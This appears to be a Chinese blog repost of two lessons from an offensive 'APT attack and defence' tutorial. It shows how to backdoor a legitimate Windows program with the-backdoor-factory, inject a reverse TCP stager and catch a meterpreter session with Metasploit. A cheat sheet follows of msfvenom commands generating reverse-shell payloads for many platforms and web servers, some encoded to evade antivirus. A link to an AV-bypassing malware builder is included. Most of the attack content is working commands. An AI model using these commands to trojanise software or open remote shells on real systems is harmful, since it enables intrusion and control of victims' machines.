专注 APT 攻击与防御—工具介绍-the-backdoor-factory

工具介绍 the-backdoor-factory

项目地址:
GitHub - secretsquirrel/the-backdoor-factory: Patch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors

原理

可执行二进制文件中有大量的 00,这些 00 是不包含数据的,将这些数据替换成 payload,并且在程序执行的时候,jmp 到代码段,来触发 payload。

以项目中的过磅系统为例:

 
  1. root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
  2. //安装the-backdoor-factory

第九课:工具介绍-the-backdoor-factory - 图1

 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S
  2. //检测是否支持后门植入
 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150
  2. //测试裂缝空间size150

第九课:工具介绍-the-backdoor-factory - 图3

 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show
  2. //查看可用payload

第九课:工具介绍-the-backdoor-factory - 图4

 
  1. root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded
  2. //插入payload,并生成文件。

第九课:工具介绍-the-backdoor-factory - 图5

 
  1. root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe
  2. //对比原文件与生成文件MD5值

第九课:工具介绍-the-backdoor-factory - 图6

 
  1. root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe
  2. //对比文件大小

第九课:工具介绍-the-backdoor-factory - 图7

 
  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set lhost 192.168.1.111
  5. lhost => 192.168.1.111
  6. msf exploit(handler) > set lport 8080
  7. lport => 8080
  8. msf exploit(handler) > exploit -j
  9. //开启本地监听

第九课:工具介绍-the-backdoor-factory - 图8

//打开软件

第九课:工具介绍-the-backdoor-factory - 图9

 
  1. meterpreter > getuid
  2. Server username: John-PC\John

//确定目标

msfvenom 常用生成 Payload 命令

windows:

 
  1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
  2. LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

mac:

 
  1. msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

android:

 
  1. //需要签名
  2. msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

 
  1. msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

 
  1. msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

 
  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  2. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

aspx:

 
  1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

 
  1. msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp

war:

 
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war

nodejs:

 
  1. msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js

python:

 
  1. msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py

perl:

 
  1. msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl

ruby:

 
  1. msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb

lua:

 
  1. msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua

windows shellcode:

 
  1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

 
  1. msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

mac shellcode:

 
  1. msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

便捷化payload生成:

项目地址:
GitHub - screetsec/TheFatRat: Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .

 
  1. root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git
  2. //设置时需要挂墙

第十课:msfvenom常用生成payload命令 - 图1

第十课:msfvenom常用生成payload命令 - 图2

第十课:msfvenom常用生成payload命令 - 图3

第十课:msfvenom常用生成payload命令 - 图4

附录:

中文使用说明:

  1. Options:
  2. -p, --payload <payload> 使用指定的payload
  3. --payload-options 列出该payload参数
  4. -l, --list [type] 列出所有的payloads
  5. -n, --nopsled <length> 为payload指定一个 nopsled 长度
  6. -f, --format <format> 指定payload生成格式
  7. --help-formats 查看所有支持格式
  8. -e, --encoder <encoder> 使用编码器
  9. -a, --arch <arch> 指定payload构架
  10. --platform <platform> 指定payload平台
  11. --help-platforms 显示支持的平台
  12. -s, --space <length> 设定payload攻击荷载的最大长度
  13. --encoder-space <length> The maximum size of the encoded payload
  14. (defaults to the -s value)
  15. -b, --bad-chars <list> 指定bad-chars 如: '\x00\xff'
  16. -i, --iterations <count> 指定编码次数
  17. -c, --add-code <path> 指定个win32 shellcode 文件
  18. -x, --template <path> 指定一个 executable 文件作为模板
  19. -k, --keep payload自动分离并注入到新的进程
  20. -o, --out <path> 存放生成的payload
  21. -v, --var-name <name> 指定自定义变量
  22. --smallest Generate the smallest possible payload
  23. -h, --help 显示帮助文件

文章来源:《专注 APT 攻击与防御 - Micro8 系列教程》 - 书栈网 · BookStack

  • 9
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值